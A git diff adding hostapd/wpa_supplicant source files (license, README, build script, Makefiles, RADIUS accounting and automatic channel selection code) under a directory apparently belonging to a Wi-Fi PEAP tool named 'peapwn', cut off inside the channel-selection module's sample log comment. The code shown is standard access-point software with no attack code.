BSD/GPL v2 dual license +terms that allowed either of those license alternatives to be +selected. As of February 11, 2012, the project has chosen to use only +the BSD license option for future distribution. As such, the GPL v2 +license option is no longer used. It should be noted that the BSD +license option (the one with advertisement clause removed) is compatible +with GPL and as such, does not prevent use of this software in projects +that use GPL. + +Some of the files may still include pointers to GPL version 2 license +terms. However, such copyright and license notifications are maintained +only for attribution purposes and any distribution of this software +after February 11, 2012 is no longer under the GPL v2 option. diff --git a/peapwn/mods/hostap/README b/peapwn/mods/hostap/README new file mode 100644 index 000000000..b0f2e6e2e --- /dev/null +++ b/peapwn/mods/hostap/README @@ -0,0 +1,56 @@ +wpa_supplicant and hostapd +-------------------------- + +Copyright (c) 2002-2013, Jouni Malinen and contributors +All Rights Reserved. + +These programs are licensed under the BSD license (the one with +advertisement clause removed). + +If you are submitting changes to the project, please see CONTRIBUTIONS +file for more instructions. + + +This package may include either wpa_supplicant, hostapd, or both. See +README file respective subdirectories (wpa_supplicant/README or +hostapd/README) for more details. + +Source code files were moved around in v0.6.x releases and compared to +earlier releases, the programs are now built by first going to a +subdirectory (wpa_supplicant or hostapd) and creating build +configuration (.config) and running 'make' there (for Linux/BSD/cygwin +builds). + + +License +------- + +This software may be distributed, used, and modified under the terms of +BSD license: + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +3. Neither the name(s) of the above-listed copyright holder(s) nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/peapwn/mods/hostap/build_release b/peapwn/mods/hostap/build_release new file mode 100755 index 000000000..dddf92b5b --- /dev/null +++ b/peapwn/mods/hostap/build_release @@ -0,0 +1,47 @@ +#!/bin/sh + +set -e + +if [ -z "$1" ]; then + echo "build_release " + exit 1 +fi + +TMP=tmp.build_release +RELDIR=`pwd`/Release +VER=$1 +NOW=`date +%Y-%m-%d` + +echo "Version: $VER - $NOW" + +DATEw=`head -n 3 wpa_supplicant/ChangeLog | tail -n 1 | sed "s/ .*//"` +DATEh=`head -n 3 hostapd/ChangeLog | tail -n 1 | sed "s/ .*//"` + +if [ "$DATEw" != "$NOW" -o "$DATEh" != "$NOW" ]; then + echo "NOTE! Date mismatch in ChangeLog: wpa_supplicant $DATEw hostapd $DATEh != $NOW" +fi + +if [ -r $TMP ]; then + echo "Temporary directory '$TMP' exists. Remove it before running this." + exit 1 +fi + +mkdir $TMP +mkdir -p $RELDIR + +git archive --format=tar --prefix=wpa-$VER/ HEAD \ + README COPYING patches src wpa_supplicant hostapd | + gzip > $RELDIR/wpa-$VER.tar.gz +git archive --format=tar --prefix=hostapd-$VER/ HEAD \ + README COPYING patches src hostapd | + gzip > $RELDIR/hostapd-$VER.tar.gz +git archive --format=tar --prefix=wpa_supplicant-$VER/ HEAD \ + README COPYING patches src wpa_supplicant | + tar --directory=$TMP -xf - + +cd $TMP +make -C wpa_supplicant-$VER/wpa_supplicant/doc/docbook man +rm -f wpa_supplicant-$VER/wpa_supplicant/doc/docbook/manpage.{links,refs} +tar czf $RELDIR/wpa_supplicant-$VER.tar.gz wpa_supplicant-$VER +cd .. +rm -r $TMP diff --git a/peapwn/mods/hostap/src/Makefile b/peapwn/mods/hostap/src/Makefile new file mode 100644 index 000000000..4a82743fe --- /dev/null +++ b/peapwn/mods/hostap/src/Makefile @@ -0,0 +1,11 @@ +SUBDIRS=ap common crypto drivers eapol_auth eapol_supp eap_common eap_peer eap_server l2_packet p2p radius rsn_supp tls utils wps spoof + +all: + for d in $(SUBDIRS); do [ -d $$d ] && $(MAKE) -C $$d; done + +clean: + for d in $(SUBDIRS); do [ -d $$d ] && $(MAKE) -C $$d clean; done + rm -f *~ + +install: + for d in $(SUBDIRS); do [ -d $$d ] && $(MAKE) -C $$d install; done diff --git a/peapwn/mods/hostap/src/ap/Makefile b/peapwn/mods/hostap/src/ap/Makefile new file mode 100644 index 000000000..adfd3dfd5 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/Makefile @@ -0,0 +1,8 @@ +all: + @echo Nothing to be made. + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov + +install: + @echo Nothing to be made. diff --git a/peapwn/mods/hostap/src/ap/accounting.c b/peapwn/mods/hostap/src/ap/accounting.c new file mode 100644 index 000000000..a1f67f0cb --- /dev/null +++ b/peapwn/mods/hostap/src/ap/accounting.c @@ -0,0 +1,475 @@ +/* + * hostapd / RADIUS Accounting + * Copyright (c) 2002-2009, 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "utils/eloop.h" +#include "drivers/driver.h" +#include "radius/radius.h" +#include "radius/radius_client.h" +#include "hostapd.h" +#include "ieee802_1x.h" +#include "ap_config.h" +#include "sta_info.h" +#include "ap_drv_ops.h" +#include "accounting.h" + + +/* Default interval in seconds for polling TX/RX octets from the driver if + * STA is not using interim accounting. This detects wrap arounds for + * input/output octets and updates Acct-{Input,Output}-Gigawords. */ +#define ACCT_DEFAULT_UPDATE_INTERVAL 300 + +static void accounting_sta_interim(struct hostapd_data *hapd, + struct sta_info *sta); + + +static struct radius_msg * accounting_msg(struct hostapd_data *hapd, + struct sta_info *sta, + int status_type) +{ + struct radius_msg *msg; + char buf[128]; + u8 *val; + size_t len; + int i; + struct wpabuf *b; + + msg = radius_msg_new(RADIUS_CODE_ACCOUNTING_REQUEST, + radius_client_get_id(hapd->radius)); + if (msg == NULL) { + wpa_printf(MSG_INFO, "Could not create new RADIUS packet"); + return NULL; + } + + if (sta) { + radius_msg_make_authenticator(msg, (u8 *) sta, sizeof(*sta)); + + os_snprintf(buf, sizeof(buf), "%08X-%08X", + sta->acct_session_id_hi, sta->acct_session_id_lo); + if (!radius_msg_add_attr(msg, RADIUS_ATTR_ACCT_SESSION_ID, + (u8 *) buf, os_strlen(buf))) { + wpa_printf(MSG_INFO, "Could not add Acct-Session-Id"); + goto fail; + } + } else { + radius_msg_make_authenticator(msg, (u8 *) hapd, sizeof(*hapd)); + } + + if (!radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_STATUS_TYPE, + status_type)) { + wpa_printf(MSG_INFO, "Could not add Acct-Status-Type"); + goto fail; + } + + if (!hostapd_config_get_radius_attr(hapd->conf->radius_acct_req_attr, + RADIUS_ATTR_ACCT_AUTHENTIC) && + !radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_AUTHENTIC, + hapd->conf->ieee802_1x ? + RADIUS_ACCT_AUTHENTIC_RADIUS : + RADIUS_ACCT_AUTHENTIC_LOCAL)) { + wpa_printf(MSG_INFO, "Could not add Acct-Authentic"); + goto fail; + } + + if (sta) { + /* Use 802.1X identity if available */ + val = ieee802_1x_get_identity(sta->eapol_sm, &len); + + /* Use RADIUS ACL identity if 802.1X provides no identity */ + if (!val && sta->identity) { + val = (u8 *) sta->identity; + len = os_strlen(sta->identity); + } + + /* Use STA MAC if neither 802.1X nor RADIUS ACL provided + * identity */ + if (!val) { + os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT, + MAC2STR(sta->addr)); + val = (u8 *) buf; + len = os_strlen(buf); + } + + if (!radius_msg_add_attr(msg, RADIUS_ATTR_USER_NAME, val, + len)) { + wpa_printf(MSG_INFO, "Could not add User-Name"); + goto fail; + } + } + + if (add_common_radius_attr(hapd, hapd->conf->radius_acct_req_attr, sta, + msg) < 0) + goto fail; + + if (sta) { + for (i = 0; ; i++) { + val = ieee802_1x_get_radius_class(sta->eapol_sm, &len, + i); + if (val == NULL) + break; + + if (!radius_msg_add_attr(msg, RADIUS_ATTR_CLASS, + val, len)) { + wpa_printf(MSG_INFO, "Could not add Class"); + goto fail; + } + } + + b = ieee802_1x_get_radius_cui(sta->eapol_sm); + if (b && + !radius_msg_add_attr(msg, + RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, + wpabuf_head(b), wpabuf_len(b))) { + wpa_printf(MSG_ERROR, "Could not add CUI"); + goto fail; + } + + if (!b && sta->radius_cui && + !radius_msg_add_attr(msg, + RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, + (u8 *) sta->radius_cui, + os_strlen(sta->radius_cui))) { + wpa_printf(MSG_ERROR, "Could not add CUI from ACL"); + goto fail; + } + } + + return msg; + + fail: + radius_msg_free(msg); + return NULL; +} + + +static int accounting_sta_update_stats(struct hostapd_data *hapd, + struct sta_info *sta, + struct hostap_sta_driver_data *data) +{ + if (hostapd_drv_read_sta_data(hapd, data, sta->addr)) + return -1; + + if (sta->last_rx_bytes > data->rx_bytes) + sta->acct_input_gigawords++; + if (sta->last_tx_bytes > data->tx_bytes) + sta->acct_output_gigawords++; + sta->last_rx_bytes = data->rx_bytes; + sta->last_tx_bytes = data->tx_bytes; + + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_DEBUG, "updated TX/RX stats: " + "Acct-Input-Octets=%lu Acct-Input-Gigawords=%u " + "Acct-Output-Octets=%lu Acct-Output-Gigawords=%u", + sta->last_rx_bytes, sta->acct_input_gigawords, + sta->last_tx_bytes, sta->acct_output_gigawords); + + return 0; +} + + +static void accounting_interim_update(void *eloop_ctx, void *timeout_ctx) +{ + struct hostapd_data *hapd = eloop_ctx; + struct sta_info *sta = timeout_ctx; + int interval; + + if (sta->acct_interim_interval) { + accounting_sta_interim(hapd, sta); + interval = sta->acct_interim_interval; + } else { + struct hostap_sta_driver_data data; + accounting_sta_update_stats(hapd, sta, &data); + interval = ACCT_DEFAULT_UPDATE_INTERVAL; + } + + eloop_register_timeout(interval, 0, accounting_interim_update, + hapd, sta); +} + + +/** + * accounting_sta_start - Start STA accounting + * @hapd: hostapd BSS data + * @sta: The station + */ +void accounting_sta_start(struct hostapd_data *hapd, struct sta_info *sta) +{ + struct radius_msg *msg; + struct os_time t; + int interval; + + if (sta->acct_session_started) + return; + + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_INFO, + "starting accounting session %08X-%08X", + sta->acct_session_id_hi, sta->acct_session_id_lo); + + os_get_time(&t); + sta->acct_session_start = t.sec; + sta->last_rx_bytes = sta->last_tx_bytes = 0; + sta->acct_input_gigawords = sta->acct_output_gigawords = 0; + hostapd_drv_sta_clear_stats(hapd, sta->addr); + + if (!hapd->conf->radius->acct_server) + return; + + if (sta->acct_interim_interval) + interval = sta->acct_interim_interval; + else + interval = ACCT_DEFAULT_UPDATE_INTERVAL; + eloop_register_timeout(interval, 0, accounting_interim_update, + hapd, sta); + + msg = accounting_msg(hapd, sta, RADIUS_ACCT_STATUS_TYPE_START); + if (msg && + radius_client_send(hapd->radius, msg, RADIUS_ACCT, sta->addr) < 0) + radius_msg_free(msg); + + sta->acct_session_started = 1; +} + + +static void accounting_sta_report(struct hostapd_data *hapd, + struct sta_info *sta, int stop) +{ + struct radius_msg *msg; + int cause = sta->acct_terminate_cause; + struct hostap_sta_driver_data data; + struct os_time now; + u32 gigawords; + + if (!hapd->conf->radius->acct_server) + return; + + msg = accounting_msg(hapd, sta, + stop ? RADIUS_ACCT_STATUS_TYPE_STOP : + RADIUS_ACCT_STATUS_TYPE_INTERIM_UPDATE); + if (!msg) { + wpa_printf(MSG_INFO, "Could not create RADIUS Accounting message"); + return; + } + + os_get_time(&now); + if (!radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_SESSION_TIME, + now.sec - sta->acct_session_start)) { + wpa_printf(MSG_INFO, "Could not add Acct-Session-Time"); + goto fail; + } + + if (accounting_sta_update_stats(hapd, sta, &data) == 0) { + if (!radius_msg_add_attr_int32(msg, + RADIUS_ATTR_ACCT_INPUT_PACKETS, + data.rx_packets)) { + wpa_printf(MSG_INFO, "Could not add Acct-Input-Packets"); + goto fail; + } + if (!radius_msg_add_attr_int32(msg, + RADIUS_ATTR_ACCT_OUTPUT_PACKETS, + data.tx_packets)) { + wpa_printf(MSG_INFO, "Could not add Acct-Output-Packets"); + goto fail; + } + if (!radius_msg_add_attr_int32(msg, + RADIUS_ATTR_ACCT_INPUT_OCTETS, + data.rx_bytes)) { + wpa_printf(MSG_INFO, "Could not add Acct-Input-Octets"); + goto fail; + } + gigawords = sta->acct_input_gigawords; +#if __WORDSIZE == 64 + gigawords += data.rx_bytes >> 32; +#endif + if (gigawords && + !radius_msg_add_attr_int32( + msg, RADIUS_ATTR_ACCT_INPUT_GIGAWORDS, + gigawords)) { + wpa_printf(MSG_INFO, "Could not add Acct-Input-Gigawords"); + goto fail; + } + if (!radius_msg_add_attr_int32(msg, + RADIUS_ATTR_ACCT_OUTPUT_OCTETS, + data.tx_bytes)) { + wpa_printf(MSG_INFO, "Could not add Acct-Output-Octets"); + goto fail; + } + gigawords = sta->acct_output_gigawords; +#if __WORDSIZE == 64 + gigawords += data.tx_bytes >> 32; +#endif + if (gigawords && + !radius_msg_add_attr_int32( + msg, RADIUS_ATTR_ACCT_OUTPUT_GIGAWORDS, + gigawords)) { + wpa_printf(MSG_INFO, "Could not add Acct-Output-Gigawords"); + goto fail; + } + } + + if (!radius_msg_add_attr_int32(msg, RADIUS_ATTR_EVENT_TIMESTAMP, + now.sec)) { + wpa_printf(MSG_INFO, "Could not add Event-Timestamp"); + goto fail; + } + + if (eloop_terminated()) + cause = RADIUS_ACCT_TERMINATE_CAUSE_ADMIN_REBOOT; + + if (stop && cause && + !radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_TERMINATE_CAUSE, + cause)) { + wpa_printf(MSG_INFO, "Could not add Acct-Terminate-Cause"); + goto fail; + } + + if (radius_client_send(hapd->radius, msg, + stop ? RADIUS_ACCT : RADIUS_ACCT_INTERIM, + sta->addr) < 0) + goto fail; + return; + + fail: + radius_msg_free(msg); +} + + +/** + * accounting_sta_interim - Send a interim STA accounting report + * @hapd: hostapd BSS data + * @sta: The station + */ +static void accounting_sta_interim(struct hostapd_data *hapd, + struct sta_info *sta) +{ + if (sta->acct_session_started) + accounting_sta_report(hapd, sta, 0); +} + + +/** + * accounting_sta_stop - Stop STA accounting + * @hapd: hostapd BSS data + * @sta: The station + */ +void accounting_sta_stop(struct hostapd_data *hapd, struct sta_info *sta) +{ + if (sta->acct_session_started) { + accounting_sta_report(hapd, sta, 1); + eloop_cancel_timeout(accounting_interim_update, hapd, sta); + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_INFO, + "stopped accounting session %08X-%08X", + sta->acct_session_id_hi, + sta->acct_session_id_lo); + sta->acct_session_started = 0; + } +} + + +void accounting_sta_get_id(struct hostapd_data *hapd, + struct sta_info *sta) +{ + sta->acct_session_id_lo = hapd->acct_session_id_lo++; + if (hapd->acct_session_id_lo == 0) { + hapd->acct_session_id_hi++; + } + sta->acct_session_id_hi = hapd->acct_session_id_hi; +} + + +/** + * accounting_receive - Process the RADIUS frames from Accounting Server + * @msg: RADIUS response message + * @req: RADIUS request message + * @shared_secret: RADIUS shared secret + * @shared_secret_len: Length of shared_secret in octets + * @data: Context data (struct hostapd_data *) + * Returns: Processing status + */ +static RadiusRxResult +accounting_receive(struct radius_msg *msg, struct radius_msg *req, + const u8 *shared_secret, size_t shared_secret_len, + void *data) +{ + if (radius_msg_get_hdr(msg)->code != RADIUS_CODE_ACCOUNTING_RESPONSE) { + wpa_printf(MSG_INFO, "Unknown RADIUS message code"); + return RADIUS_RX_UNKNOWN; + } + + if (radius_msg_verify(msg, shared_secret, shared_secret_len, req, 0)) { + wpa_printf(MSG_INFO, "Incoming RADIUS packet did not have correct Authenticator - dropped"); + return RADIUS_RX_INVALID_AUTHENTICATOR; + } + + return RADIUS_RX_PROCESSED; +} + + +static void accounting_report_state(struct hostapd_data *hapd, int on) +{ + struct radius_msg *msg; + + if (!hapd->conf->radius->acct_server || hapd->radius == NULL) + return; + + /* Inform RADIUS server that accounting will start/stop so that the + * server can close old accounting sessions. */ + msg = accounting_msg(hapd, NULL, + on ? RADIUS_ACCT_STATUS_TYPE_ACCOUNTING_ON : + RADIUS_ACCT_STATUS_TYPE_ACCOUNTING_OFF); + if (!msg) + return; + + if (!radius_msg_add_attr_int32(msg, RADIUS_ATTR_ACCT_TERMINATE_CAUSE, + RADIUS_ACCT_TERMINATE_CAUSE_NAS_REBOOT)) + { + wpa_printf(MSG_INFO, "Could not add Acct-Terminate-Cause"); + radius_msg_free(msg); + return; + } + + if (radius_client_send(hapd->radius, msg, RADIUS_ACCT, NULL) < 0) + radius_msg_free(msg); +} + + +/** + * accounting_init: Initialize accounting + * @hapd: hostapd BSS data + * Returns: 0 on success, -1 on failure + */ +int accounting_init(struct hostapd_data *hapd) +{ + struct os_time now; + + /* Acct-Session-Id should be unique over reboots. If reliable clock is + * not available, this could be replaced with reboot counter, etc. */ + os_get_time(&now); + hapd->acct_session_id_hi = now.sec; + + if (radius_client_register(hapd->radius, RADIUS_ACCT, + accounting_receive, hapd)) + return -1; + + accounting_report_state(hapd, 1); + + return 0; +} + + +/** + * accounting_deinit: Deinitilize accounting + * @hapd: hostapd BSS data + */ +void accounting_deinit(struct hostapd_data *hapd) +{ + accounting_report_state(hapd, 0); +} diff --git a/peapwn/mods/hostap/src/ap/accounting.h b/peapwn/mods/hostap/src/ap/accounting.h new file mode 100644 index 000000000..dcc54ee94 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/accounting.h @@ -0,0 +1,44 @@ +/* + * hostapd / RADIUS Accounting + * Copyright (c) 2002-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef ACCOUNTING_H +#define ACCOUNTING_H + +#ifdef CONFIG_NO_ACCOUNTING +static inline void accounting_sta_get_id(struct hostapd_data *hapd, + struct sta_info *sta) +{ +} + +static inline void accounting_sta_start(struct hostapd_data *hapd, + struct sta_info *sta) +{ +} + +static inline void accounting_sta_stop(struct hostapd_data *hapd, + struct sta_info *sta) +{ +} + +static inline int accounting_init(struct hostapd_data *hapd) +{ + return 0; +} + +static inline void accounting_deinit(struct hostapd_data *hapd) +{ +} +#else /* CONFIG_NO_ACCOUNTING */ +void accounting_sta_get_id(struct hostapd_data *hapd, struct sta_info *sta); +void accounting_sta_start(struct hostapd_data *hapd, struct sta_info *sta); +void accounting_sta_stop(struct hostapd_data *hapd, struct sta_info *sta); +int accounting_init(struct hostapd_data *hapd); +void accounting_deinit(struct hostapd_data *hapd); +#endif /* CONFIG_NO_ACCOUNTING */ + +#endif /* ACCOUNTING_H */ diff --git a/peapwn/mods/hostap/src/ap/acs.c b/peapwn/mods/hostap/src/ap/acs.c new file mode 100644 index 000000000..9ef221ed9 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/acs.c @@ -0,0 +1,802 @@ +/* + * ACS - Automatic Channel Selection module + * Copyright (c) 2011, Atheros Communications + * Copyright (c) 2013, Qualcomm Atheros, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" +#include + +#include "utils/common.h" +#include "utils/list.h" +#include "common/ieee802_11_defs.h" +#include "common/wpa_ctrl.h" +#include "drivers/driver.h" +#include "hostapd.h" +#include "ap_drv_ops.h" +#include "ap_config.h" +#include "hw_features.h" +#include "acs.h" + +/* + * Automatic Channel Selection + * =========================== + * + * More info at + * ------------ + * http://wireless.kernel.org/en/users/Documentation/acs + * + * How to use + * ---------- + * - make sure you have CONFIG_ACS=y in hostapd's .config + * - use channel=0 or channel=acs to enable ACS + * + * How does it work + * ---------------- + * 1. passive scans are used to collect survey data + * (it is assumed that scan trigger collection of survey data in driver) + * 2. interference factor is calculated for each channel + * 3. ideal channel is picked depending on channel width by using adjacent + * channel interference factors + * + * Known limitations + * ----------------- + * - Current implementation depends heavily on the amount of time willing to + * spend gathering survey data during hostapd startup. Short traffic bursts + * may be missed and a suboptimal channel may be picked. + * - Ideal channel may end up overlapping a channel with 40 MHz intolerant BSS + * + * Todo / Ideas + * ------------ + * - implement other interference computation methods + * - BSS/RSSI based + * - spectral scan based + * (should be possibly to hook this up with current ACS scans) + * - add wpa_supplicant support (for P2P) + * - collect a histogram of interference over time allowing more educated + * guess about an ideal channel (perhaps CSA could be used to migrate AP to a + * new "better" channel while running) + * - include neighboring BSS scan to avoid conflicts with 40 MHz intolerant BSSs + * when choosing the ideal channel + * + * Survey interference factor implementation details + * ------------------------------------------------- + * Generic interference_factor in struct hostapd_channel_data is used. + * + * The survey interference factor is defined as the ratio of the + * observed busy time over the time we spent on the channel, + * this value is then amplified by the observed noise floor on + * the channel in comparison to the lowest noise floor observed + * on the entire band. + * + * This corresponds to: + * --- + * (busy time - tx time) / (active time - tx time) * 2^(chan_nf + band_min_nf) + * --- + * + * The coefficient of 2 reflects the way power in "far-field" + * radiation decreases as the square of distance from the antenna [1]. + * What this does is it decreases the observed busy time ratio if the + * noise observed was low but increases it if the noise was high, + * proportionally to the way "far field" radiation changes over + * distance. + * + * If channel busy time is not available the fallback is to use channel RX time. + * + * Since noise floor is in dBm it is necessary to convert it into Watts so that + * combined channel interference (e.g., HT40, which uses two channels) can be + * calculated easily. + * --- + * (busy time - tx time) / (active time - tx time) * + * 2^(10^(chan_nf/10) + 10^(band_min_nf/10)) + * --- + * + * However to account for cases where busy/rx time is 0 (channel load is then + * 0%) channel noise floor signal power is combined into the equation so a + * channel with lower noise floor is preferred. The equation becomes: + * --- + * 10^(chan_nf/5) + (busy time - tx time) / (active time - tx time) * + * 2^(10^(chan_nf/10) + 10^(band_min_nf/10)) + * --- + * + * All this "interference factor" is purely subjective and only time + * will tell how usable this is. By using the minimum noise floor we + * remove any possible issues due to card calibration. The computation + * of the interference factor then is dependent on what the card itself + * picks up as the minimum noise, not an actual real possible card + * noise value. + * + * Total interference computation details + * -------------------------------------- + * The above channel interference factor is calculated with no respect to + * target operational bandwidth. + * + * To find an ideal channel the above data is combined by taking into account + * the target operational bandwidth and selected band. E.g., on 2.4 GHz channels + * overlap with 20 MHz bandwidth, but there is no overlap for 20 MHz bandwidth + * on 5 GHz. + * + * Each valid and possible channel spec (i.e., channel + width) is taken and its + * interference factor is computed by summing up interferences of each channel + * it overlaps. The one with least total interference is picked up. + * + * Note: This implies base channel interference factor must be non-negative + * allowing easy summing up. + * + * Example ACS analysis printout + * ----------------------------- + * + * ACS: Trying survey-based ACS + * ACS: Survey analysis for channel 1 (2412 MHz) + * ACS: 1: min_nf=-113 interference_factor=0.0802469 nf=-113 time=162 busy=0 rx=13 + * ACS: 2: min_nf=-113 interference_factor=0.0745342 nf=-113 time=161 busy=0 rx=12 + * ACS: 3: min_nf=-113 interference_factor=0.0679012 nf=-113 time=162 busy=0 rx=11 + * ACS: 4: min_nf=-113 interference_factor=0.0310559 nf=-113 time=161 busy=0 rx=5 + * ACS: 5: min_nf=-113 interference_factor=0.0248447 nf=-113 time=161 busy=0 rx=4 + * ACS: * interference factor average: 0.0557166 + * ACS: Survey analysis for channel 2 (2417 MHz) + * ACS: 1: min_nf=-113 interference_factor=0.0185185 nf=-113 time=162 busy=0 rx=3 + * ACS: 2: min_nf=-113 interference_factor=0.0246914 nf=-113 time=162 busy=0 rx=4 + * ACS: 3: min_nf=-113 interference_factor=0.037037 nf=-113 time=162 busy=0 rx=6 + * ACS: 4: min_nf=-113 interference_factor=0.149068 nf=-113 time=161 busy=0 rx=24 + * ACS: 5: min_nf=-113 interference_factor=0.0248447 nf=-113 time=161 busy=0 rx=4 + * ACS: * interference factor average: 0.050832 + * ACS: Survey analysis for channel 3 (2422 MHz) + * ACS: 1: min_nf=-113 interference_factor=2.51189e-23 nf=-113 time=162 busy=0 rx=0 + * ACS: 2: min_nf=-113 interference_factor=0.0185185 nf=-113 time=162 busy=0 rx=3 + * ACS: 3: min_nf=-113 interference_factor=0.0186335 nf=-113 time=161 busy=0 rx=3 + * ACS: 4: min_nf=-113 interference_factor=0.0186335 nf=-113 time=161 busy=0 rx=3 + * ACS: 5: min_nf=-113 interference_factor=0.0186335 nf=-113 time=161 busy=0 rx=3 + * ACS: * interference factor average: 0.0148838 + * ACS: Survey analysis for channel 4 (2427 MHz) + * ACS: 1: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=162 busy=0 rx=0 + * ACS: 2: min_nf=-114 interference_factor=0.0555556 nf=-114 time=162 busy=0 rx=9 + * ACS: 3: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=161 busy=0 rx=0 + * ACS: 4: min_nf=-114 interference_factor=0.0186335 nf=-114 time=161 busy=0 rx=3 + * ACS: 5: min_nf=-114 interference_factor=0.00621118 nf=-114 time=161 busy=0 rx=1 + * ACS: * interference factor average: 0.0160801 + * ACS: Survey analysis for channel 5 (2432 MHz) + * ACS: 1: min_nf=-114 interference_factor=0.409938 nf=-113 time=161 busy=0 rx=66 + * ACS: 2: min_nf=-114 interference_factor=0.0432099 nf=-113 time=162 busy=0 rx=7 + * ACS: 3: min_nf=-114 interference_factor=0.0124224 nf=-113 time=161 busy=0 rx=2 + * ACS: 4: min_nf=-114 interference_factor=0.677019 nf=-113 time=161 busy=0 rx=109 + * ACS: 5: min_nf=-114 interference_factor=0.0186335 nf=-114 time=161 busy=0 rx=3 + * ACS: * interference factor average: 0.232244 + * ACS: Survey analysis for channel 6 (2437 MHz) + * ACS: 1: min_nf=-113 interference_factor=0.552795 nf=-113 time=161 busy=0 rx=89 + * ACS: 2: min_nf=-113 interference_factor=0.0807453 nf=-112 time=161 busy=0 rx=13 + * ACS: 3: min_nf=-113 interference_factor=0.0310559 nf=-113 time=161 busy=0 rx=5 + * ACS: 4: min_nf=-113 interference_factor=0.434783 nf=-112 time=161 busy=0 rx=70 + * ACS: 5: min_nf=-113 interference_factor=0.0621118 nf=-113 time=161 busy=0 rx=10 + * ACS: * interference factor average: 0.232298 + * ACS: Survey analysis for channel 7 (2442 MHz) + * ACS: 1: min_nf=-113 interference_factor=0.440994 nf=-112 time=161 busy=0 rx=71 + * ACS: 2: min_nf=-113 interference_factor=0.385093 nf=-113 time=161 busy=0 rx=62 + * ACS: 3: min_nf=-113 interference_factor=0.0372671 nf=-113 time=161 busy=0 rx=6 + * ACS: 4: min_nf=-113 interference_factor=0.0372671 nf=-113 time=161 busy=0 rx=6 + * ACS: 5: min_nf=-113 interference_factor=0.0745342 nf=-113 time=161 busy=0 rx=12 + * ACS: * interference factor average: 0.195031 + * ACS: Survey analysis for channel 8 (2447 MHz) + * ACS: 1: min_nf=-114 interference_factor=0.0496894 nf=-112 time=161 busy=0 rx=8 + * ACS: 2: min_nf=-114 interference_factor=0.0496894 nf=-114 time=161 busy=0 rx=8 + * ACS: 3: min_nf=-114 interference_factor=0.0372671 nf=-113 time=161 busy=0 rx=6 + * ACS: 4: min_nf=-114 interference_factor=0.12963 nf=-113 time=162 busy=0 rx=21 + * ACS: 5: min_nf=-114 interference_factor=0.166667 nf=-114 time=162 busy=0 rx=27 + * ACS: * interference factor average: 0.0865885 + * ACS: Survey analysis for channel 9 (2452 MHz) + * ACS: 1: min_nf=-114 interference_factor=0.0124224 nf=-114 time=161 busy=0 rx=2 + * ACS: 2: min_nf=-114 interference_factor=0.0310559 nf=-114 time=161 busy=0 rx=5 + * ACS: 3: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=161 busy=0 rx=0 + * ACS: 4: min_nf=-114 interference_factor=0.00617284 nf=-114 time=162 busy=0 rx=1 + * ACS: 5: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=162 busy=0 rx=0 + * ACS: * interference factor average: 0.00993022 + * ACS: Survey analysis for channel 10 (2457 MHz) + * ACS: 1: min_nf=-114 interference_factor=0.00621118 nf=-114 time=161 busy=0 rx=1 + * ACS: 2: min_nf=-114 interference_factor=0.00621118 nf=-114 time=161 busy=0 rx=1 + * ACS: 3: min_nf=-114 interference_factor=0.00621118 nf=-114 time=161 busy=0 rx=1 + * ACS: 4: min_nf=-114 interference_factor=0.0493827 nf=-114 time=162 busy=0 rx=8 + * ACS: 5: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=162 busy=0 rx=0 + * ACS: * interference factor average: 0.0136033 + * ACS: Survey analysis for channel 11 (2462 MHz) + * ACS: 1: min_nf=-114 interference_factor=1.58489e-23 nf=-114 time=161 busy=0 rx=0 + * ACS: 2: min_nf=-114 interference_factor=2.51189e-23 nf=-113 time=161 busy=0 rx=0 + * ACS: 3: min_nf=-114 interference_factor=2.51189e-23 nf=-113 time=161 busy=0 rx=0 + * ACS: 4: min_nf=-114 interference_factor=0.0432099 nf=-114 time=162 busy=0 rx=7 + * 